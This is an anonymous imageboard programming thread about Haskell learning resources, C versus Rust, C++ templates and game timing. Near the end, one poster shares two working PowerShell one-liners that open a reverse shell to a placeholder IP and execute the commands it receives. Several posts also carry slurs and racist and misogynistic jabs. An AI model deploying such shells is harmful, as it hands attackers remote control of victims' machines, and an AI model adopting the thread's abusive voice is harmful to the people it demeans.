/dpt/ - Daily Programming Thread

What are you working on, Jow Forums?

Previous thread:

Attached: 1555565483109.jpg (1000x1155, 207K)

Other urls found in this thread:

en.wikibooks.org/wiki/Haskell
andre.tips/wmh/
vocaroo.com/i/s0DBKcPYMJTK
youtube.com/watch?v=Q20MiBKdtf0
youtube.com/watch?v=iSmkqocn0oQ
haskell.godbolt.org/
github.com/mattgodbolt/compiler-explorer/issues/1412
twitter.com/AnonBabble

I'm a 24 year-old virgin who's never asked a girl out

i expect no different from /dpt/

Are you me?

THIRD FOR HASKELL TIDDIE MONSTERS

Attached: 1551223317366.png (850x1200, 1.18M)

FUCK YOU

?

Threads: I'm working on a (supposedly) simple parser that's gradually growing in complexity. It came about after I had a simple need for parsing application settings. I knew I could do it in an easy/ugly way, but I wanted to make something more complete.

Language is C++

>who's never asked a girl out
Why? Are you gay or really cowardly?

Is the purple book a good introduction to Haskell? It seems WAY too long.

I've finished that book a few months ago. I skimmed it and did the exercises, and just went back to properly read when I got stuck.
It's pretty good if used that way.

Really cowardly and a bit gay

When I was in elementary school a girl told me that the girl I liked like me too. I smiled and then she went over to the girl I liked and the rest of their friends and they all laughed at me

Social anxiety

It's shit, written by a really bad haskell dev.
Only good stuff is the first chapter on lambda calc, if you can't digest more formal/textbookish literature.

Attached: 1553002933572.jpg (1078x1500, 179K)

Still reading The Racket Guide. Hopefully I can finish it by the end of this weekend.
So far Racket looks much more practical than Haskell.

27 y/o kissless virgin who never asked a girl out
Imagine being a 30 y/o wizard haha

So what do you suggest instead?

You know if you didn't collect pictures of sexualized anime little girls, maybe you could have lost your virginity by now?

>not being afraid of rejection
Get out of here you normal person

Why did they laughed? What was the reason of the laugh?

A girl I went to school with showed me her nipple piercing in a club

She had yellow teeth and cutting scars on her arm, though

Sincerity is a weakness that must be met with disdain

why isn't there a proper pure C++ windows API despite micropenis fucking inventing the language and despite the fact that the win32 api is filled with inelegant C-style OOP
why do all of the so called "C++" apis rely on language extensions
i hate windows

read one of the more terse books, complement with exercises (not only from book) and projects. Best way to learn the language is by practice. All the ideas and concepts you can pick them up by reading blogs/wikis/talks/discussions once you have a good grasp of haskell's syntax and basic semantics.
en.wikibooks.org/wiki/Haskell
or if you really insist andre.tips/wmh/
all the haskell books are total crap (or not for beginners)...

turns out have billions of dollars isn't enough to produce anything of quality

>all these incels here having never asked a girl out
I'll have you know ive asked multiple girls it each of each ended in rejection
one girl i asked i out i saw her on a date with a much taller and attractiver dude from our comp sci classes
however the ONE time a girl was interested in me i was completely oblivious, cause when your that young and inexperienced you don't know what signs women use

Attached: 1449301132983.jpg (567x699, 87K)

>however the ONE time a girl was interested in me i was completely oblivious
Just like in my animes

same

funny how neets can build better software than microcuck
have you ever looked at msdn? worst documentation ive seen in my life

same but 26

Attached: 193938382237.jpg (931x873, 227K)

>neets can build better software than microcuks

it's because while you losers are building amazing software they are enjoying their billions. the end user doesn't give a fuck about your code.

This is the type of corporate intelligence that created Windows 8.

should I make my game in C or Rust

Attached: COjci5L.png (620x640, 345K)

Still better than any shit you dorks can make.

both bad choices

No, it's because neets are white men and microsoft only hires indians and women

definitely C

>coping this hard

dude, cool it with the racism and misogyny.

based and redpilled

Attached: 1555185906729.gif (480x270, 147K)

Question 1:
Any kind of simulation or game has arbitrary precision. Say I had an entity in a game with a width of x, what would be the ideal base unit of measurement relative to the entity's size?
Question 2:
Are games usually locked to the system clock? Otherwise the character speed would be determined by the cpu speed. What's an ideal implementation of this? Something like, if it's been at least x ms since last movement, then you can move again?
If you moved every loop iteration, one unit was the minimum and u wanted to move 100 units, would that appear choppy?
Is moving every x iteration ever used to modulate speed? Like every 100th could be slow and every 1 would be max speed?
Question 3:
What kind of datastructures are used for static vs dynamic entities? What do most games use? Are there examples of specific implementations?

What a cutie
I want to make her my wife

holy shit you have no idea what you are talking about

She is a robot, robots can't feel love

same

The physics engine you use should tell you what the ideal base unit is. Typically it's 1 = 1 meter

Game timing is a complicated topic and in short there is no right answer because there's many ways of timing each with their own upsides and downsides. Using the system clock is ideal because it's simple, predictable, and zero latency. However because games need to support variable framerates you can't usually do that and need another strategy like using the time elapsed between each frame

The data structure you use depends on your entity. Static entities have alot of prebaked and precalculated data like lightmaps, navigation/ai maps, ordered triangle soups for physics collisions

I'm going to love her anyway.

three keywords for ur googling
error analysis
gameloop
entity component system

How can you be over 20 and still a virgin lmao
I bet you're all FPtards

C++

Attached: 1536122106287.png (900x2648, 296K)

vocaroo.com/i/s0DBKcPYMJTK

>serif fonts

Lispfags be like JavaScript and Java suck because they have two different forms of equality but Scheme is okay even though it has eq? eqv? and equals?

cringe

Not my screenshot

Just be a complete fucking mess in high school and then become a basement dweller for a few years. It's easy.

scheme doesn't do any of the implicit type conversions though

don't swear so much user bad habit

Oh scheme also has =

dont use c++ it will trick you into using shitty datastructures like vectors and maps and fucking templates that take up a shit tonne of computation and memory when a simple array will do just fine
the worst thing about c++ imo is
>template
COPY AND PASTED A THOUSAND FUCKING TIMES

Thanks for the screenshot. Rust isn't as simple and clean as I thought. I think I'm going to use C, it's just a simple 2D game

>shitty data structures like vectors
>like vectors
std::vector is very good
>fucking templates that take up a shit tonne of computation and memory when a simple array will do just fine
I don't think you how C++ works.
std::array is equivalent to T[n] in terms of performance, but without the shit semantics.

Blame static typing.

>single handedly btfos fp fags in one fell swoop
youtube.com/watch?v=Q20MiBKdtf0

Attached: maxresdefault(2).jpg (1280x720, 139K)

im sure you can fix all that by just using unsafe pointers

I guess you could also try go
not sure how good it would be for integrating with scripting languages though

no one cares faggot

I prefer youtube.com/watch?v=iSmkqocn0oQ because it's funny and true.

my daughterwife Roll is so cute

a literal retard, no wonder he fell for the go and suckless memes

Spam doesn't make you correct.

look at the haskell godbolt part lol

The reason nobody uses Lisp Haskell whatever is that as the program grows longer and complex the code becomes literally impossible to manage. Imagine the Linux kernel written in Haskell lmao.

He didn't enable optimizatoins; dishonest comparison

yeah im sure that will make a big difference

>mfw lisp programmers unironically think that winning code golf contests makes their language better

C projects and OO projects scale worse than FP projects.

has anyone even written a big FP project before

GHC is fucking magic when it comes to optimisations, so yeah it would.

I'm 20 years-old, what can I do to avoid being a 30yo shut-in neet.
I need affection but I find girls useless/uninteresting. I'm not gay but doing effort to get girls only for sex seems like a big waste of time.

There are no large successful FP projects, therefore

1. Nobody has tried to write a large project in FP

or

2. Somebody has tried, but failed

Pick one.

so magic it doesnt have them turned on by default

What does that matter in the slightest?

Please help with .

Attached: 1560153779138.jpg (960x960, 532K)

haskell.godbolt.org/
turn them on and show us the glory of haskell

kek

Attached: 1558442666130.png (1800x187, 47K)

lmao the visible disappointment on her face when she saw Go's codegen
you just don't get it!!

drop the version down

>her
>she
what?

ghc is a hungry boi
github.com/mattgodbolt/compiler-explorer/issues/1412

Are there any benchmarks on hardware rtm vs locking?

Fucking kek I've been trying to figure out why my program isn't doing anything no matter what changes I make to the code.

First I tried to insert some print statements. Nothing.

Then I altered some loop conditions.

Then I literally cleared the file and typed in 1 + 1 and still nothing.

[spoiler]forgot to compile[/spoiler]

>daughterwife
What?

>forgot to compile
I had a similar thing experience. The difference was I was compiling the wrong file instead

I have done this before

Attached: 1540722446728.jpg (792x1200, 939K)

Hey boys, i'm trying to make a one-line powershell tcp shell. I made one myself that is really shitty

$sm=(New-Object Net.Sockets.TCPClient('IP.XX.XX.XX',443)).GetStream();[byte[]]$bt=0..65535|
%{0};while(($i=$sm.Read($bt,0,$bt.Length)) -ne 0){;$d=(New-Object Text.ASCIIEncoding).GetString($bt,0,$i);
$st=([text.encoding]::ASCII).GetBytes((iex $d 2>&1));$sm.Write($st,0,$st.Length)}


But i found a better one on a github, but i can't seem to get it to work...

New-Object System.Net.Sockets.TCPClient("IP.XX.XXX.XX",443);$stream = $client.GetStream();[byte[]]$bytes=0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()

Attached: 1557580432427.png (1182x866, 1.16M)

I had something like that happen once to me except I was actually building and watching the compile progress but the cmake cache played some weird fucking trick on me due to my clock changing and would regardless serve me a cached binary.

>and fucking templates that take up a shit tonne of computation and memory when a simple array will do just fine
that's not how templates work

Templates make compilation slow. That's probably what he meant

templates are good until you go full retard like boost